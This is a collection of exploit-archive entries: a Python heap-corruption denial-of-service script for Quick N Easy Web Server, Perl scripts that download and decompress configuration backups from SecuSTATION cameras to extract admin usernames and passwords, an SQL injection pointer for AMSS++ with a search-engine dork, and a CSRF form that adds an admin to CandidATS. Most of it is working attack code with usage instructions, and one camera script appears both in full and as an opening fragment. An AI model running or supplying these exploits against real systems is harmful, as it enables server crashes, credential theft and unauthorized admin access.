print "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names;
print "[ Exploit failed! Not vulnerable.\n" and exit if ($response->code ne 200);
my $gzipped = $response->content();
my $config = gunzip($gzipped);
print "[ \n";
if ($cmd =~ /show/) {
print "[ >> Configuration dump...\n[\n";
print "[ ", $_, "\n" for split(/\n/,$config);
exit;
} else {
print "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/);
print "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/);
exit;
}
# Title: Quick N Easy Web Server 3.3.8 - Denial of Service (PoC)
# Date: 2019-12-25
# Author: Cody Winkler
# Vendor Homepage: https://www.pablosoftwaresolutions.com/
# Software Link: https://www.pablosoftwaresolutions.com/html/quick__n_easy_web_server.html
# Version: <= 3.3.8
# Tested on: Windows 10 x64 (wow64)
# CVE: N/A
#!/usr/bin/env python
"""
Remote Unauthenticated Heap Memory Corruption in Quick N' Easy Web Server <= 3.3.8
[+] Usage: python quickwww_heap338.py <IP> <PORT>
$ python exploit.py 127.0.0.1 80
"""
from __future__ import print_function
import socket
import sys
import re
host = sys.argv[1]
port = int(sys.argv[2])
crashed = r'(503 Service Unavailable)'
http_req = "GET / HTTP/1.1\r\n"
http_req += "Host: " + "A"*15000 + "\r\n" # 50000 A's causes an interesting double free in OLEAUT32!VariantClear() when attached to debugger
http_req += "User-Agent: A\r\n"
http_req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
http_req += "Accept-Language: en-US,en;q=0.5\r\n"
http_req += "Cookie: A\r\n"
http_req += "Connection: Close\r\n"
http_req += "Upgrade-Insecure-Requests: 0\r\n"
http_req += "Cache-control: max-age=0\r\n\r\n"
def main():
print("[+] Remote Heap Memory Corruption in Quick n Easy Web Server <= 3.3.8")
i = 1
while( i < 1500):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(http_req)
print("[+] Spraying heap with %d 5000-byte requests" % i, end='\r')
sys.stdout.flush()
if re.search(crashed, s.recv(1024)):
print(" "*50)
print("[+] Threads have exited BAADF00D with %d requests!" % i)
s.close()
exit()
s.close()
i = i+1
except Exception, msg:
print("[-] Something went wrong :(")
print(msg)
main()
"""
0:010> kb7
# ChildEBP RetAddr Args to Child
00 06bbf4d4 77ebc1f5 77df50e4 8ae27015 01471640 ntdll!RtlpValidateHeapEntry+0x61114
01 06bbf51c 77e6b325 06bc0048 01471640 772e0f80 ntdll!RtlDebugSizeHeap+0xb3
02 06bbf53c 772e0f9b 013b0000 00000000 06bc0048 ntdll!RtlSizeHeap+0x45775
03 06bbf550 76640be7 773fcf44 06bc0048 00000008 combase!CRetailMalloc_GetSize+0x1b [onecore\com\combase\class\memapi.cxx @ 702]
04 06bbf574 766408cd 06bc0048 01471760 00451f4c OLEAUT32!APP_DATA::FreeCachedMem+0x37
05 06bbf5a8 0041ec27 06bbf5bc 05ec4fe4 05ec4f50 OLEAUT32!VariantClear+0x20d
WARNING: Stack unwind information not available. Following frames may be wrong.
06 06bbf5c4 766408cd 76cd0008 0907a724 01471254 quickweb+0x1ec27
0:010> !analyze -v
<SNIP>
STACK_TEXT:
00000000 00000000 heap_corruption!quickweb.exe+0x0
SYMBOL_NAME: heap_corruption!quickweb.exe
MODULE_NAME: heap_corruption
IMAGE_NAME: heap_corruption
STACK_COMMAND: ** Pseudo Context ** ManagedPseudo ** Value: 7ba5870 ** ; kb
FAILURE_BUCKET_ID: HEAP_CORRUPTION_80000003_heap_corruption!quickweb.exe
OS_VERSION: 10.0.17763.1
BUILDLAB_STR: rs5_release
OSPLATFORM_TYPE: x86
OSNAME: Windows 10
FAILURE_ID_HASH: {68efeb37-77bb-f968-fc16-9a1fba88436f}
"""
# Exploit Title: SecuSTATION IPCAM-130 HD Camera - Remote Configuration Disclosure
# Author: Todor Donev
# Date: 2020-02-23
# Vendor: https://secu.jp/
# Product Link: https://secu.jp/support/831nh1.html
# CVE: N/A
#
# SecuSTATION IPCAM-130 HD Camera Remote Configuration Disclosure
#
# Copyright 2020 (c) Todor Donev
#
# https://donev.eu/
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
# [ SecuSTATION IPCAM-130 HD Camera Remote Configuration Disclosure
# [ ===============================================================
# [ Exploit Author: Todor Donev 2020 <todor.donev@gmail.com>
# [ Initializing the browser
# [ >> User-Agent => Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)
# [ >> Content-Type => application/x-www-form-urlencoded
# [ << Connection => close
# [ << Date => Fri, 21 Feb 2020 21:11:37 GMT
# [ << Accept-Ranges => bytes
# [ << Server => thttpd/2.25b 29dec2003
# [ << Content-Length => 32333
# [ << Content-Type => application/octet-stream
# [ << Last-Modified => Fri, 21 Feb 2020 21:11:36 GMT
# [ << Client-Date => Fri, 21 Feb 2020 21:12:23 GMT
# [ << Client-Peer => 192.168.100.200:81
# [ << Client-Response-Num => 1
# [
# [ Username : admin
# [ Password : admin
#!/usr/bin/perl
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster 'gunzip';
my $host = shift || ''; # Full path url to the store
my $cmd = shift || ''; # show - Show configuration dump
$host =~ s/\/$//;
print "\033[2J"; #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ SecuSTATION IPCAM-130 HD Camera Remote Configuration Disclosure\n";
print "[ ===============================================================\n";
print "[ Exploit Author: Todor Donev 2020 <todor.donev\@gmail.com>\n";
if ($host !~ m/^http/){
print "[ Usage, Password Disclosure: perl $0 https://target:port/\n";
print "[ Usage, Show Configuration : perl $0 https://target:port/ show\n";
exit;
}
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
# my $target = $host."/tmpfs/config_backup.bin";
my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]);
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names;
print "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names;
print "[ Exploit failed! Not vulnerable.\n" and exit if ($response->code ne 200);
my $gzipped = $response->content();
my $config = gunzip($gzipped);
print "[ \n";
if ($cmd =~ /show/) {
print "[ >> Configuration dump...\n[\n";
print "[ ", $_, "\n" for split(/\n/,$config);
exit;
} else {
print "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/);
print "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/);
exit;
}
# Title : AMSS++ v 4.31 - 'id' SQL Injection
# Author : indoushka
# Tested on: windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)
# Vendor: http://amssplus.ubn4.go.th/amssplus_download/amssplus_4_31_install.rar
# Dork: แนะนำให้ใช้บราวเซอร์ Google Chrome "AMSS++"
# CVE: N/A
# poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] Use payload : /modules/mail/main/maildetail.php?id=174
[+] http://127.0.0.1/amssplus_4_31_install/amssplus/modules/mail/main/maildetail.php?id=1 <==== inject here
Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |
|
=======================================================================================================================================
# Title: CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-02-21
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/u/auieo/profile/
# Software Link: https://sourceforge.net/projects/candidats/files/#Version 2.1.0
# Tested on Ubuntu 19/Kali Rolling
# The Candid ATS Web application is vulnerable to CSRF to add a new admin user:
#CSRF Proof of Concept:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://HOSTNAME/Candid/index.php?m=settings&a=addUser" method="POST">
<input type="hidden" name="postback" value="postback" />
<input type="hidden" name="role" value="none" />
<input type="hidden" name="firstName" value="Test" />
<input type="hidden" name="lastName" value="User" />
<input type="hidden" name="email" value="test@test.com" />
<input type="hidden" name="username" value="Test" />
<input type="hidden" name="password" value="password" />
<input type="hidden" name="retypePassword" value="password" />
<input type="hidden" name="roleid" value="2" />
<input type="hidden" name="accessLevel" value="500" />
<input type="hidden" name="submit" value="Add User" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# Exploit Title: SecuSTATION SC-831 HD Camera - Remote Configuration Disclosure
# Author: Todor Donev
# Date: 2020-02-23
# Vendor: https://secu.jp/
# Product Link: https://secu.jp/support/831.html
# CVE: N/A
#!/usr/bin/perl
#
# SecuSTATION SC-831 HD Camera Remote Configuration Disclosure
#
# Copyright 2020 (c) Todor Donev
#
# https://donev.eu/
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
# [ SecuSTATION SC-831 HD Camera Remote Configuration Disclosure
# [ ============================================================
# [ Exploit Author: Todor Donev 2020 <todor.donev@gmail.com>
# [ Initializing the browser
# [ >> User-Agent => Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20081208 SeaMonkey/2.0a3pre
# [ >> Content-Type => application/x-www-form-urlencoded
# [ << Connection => close
# [ << Date => Fri, 21 Feb 2020 20:36:59 GMT
# [ << Accept-Ranges => bytes
# [ << Server => thttpd/2.25b 29dec2003
# [ << Content-Length => 25760
# [ << Content-Type => application/octet-stream
# [ << Last-Modified => Fri, 21 Feb 2020 20:36:57 GMT
# [ << Client-Date => Fri, 21 Feb 2020 20:37:01 GMT
# [ << Client-Peer => 192.168.1.208:80
# [ << Client-Response-Num => 1
# [
# [ Username : admin
# [ Password : admin
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster 'gunzip';
my $host = shift || ''; # Full path url to the store
my $cmd = shift || ''; # show - Show configuration dump
$host =~ s/\/$//;
print "\033[2J"; #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ SecuSTATION SC-831 HD Camera Remote Configuration Disclosure\n";
print "[ ============================================================\n";
print "[ Exploit Author: Todor Donev 2020 <todor.donev\@gmail.com>\n";
if ($host !~ m/^http/){
print "[ Usage, Password Disclosure: perl $0 https://target:port/\n";
print "[ Usage, Show Configuration : perl $0 https://target:port/ show\n";
exit;
}
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
# my $target = $host."/tmpfs/config_backup.bin";
my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]);
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names;
print "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names;
print "[ Exploit failed! Not vulnerable.\n" and exit if ($response->code ne 200);
my $gzipped = $response->content();
my $config = gunzip($gzipped);
print "[ \n";
if ($cmd =~ /show/) {
print "[ >> Configuration dump...\n[\n";
print "[ ", $_, "\n" for split(/\n/,$config);
exit;
} else {
print "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/);
print "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/);
exit;
}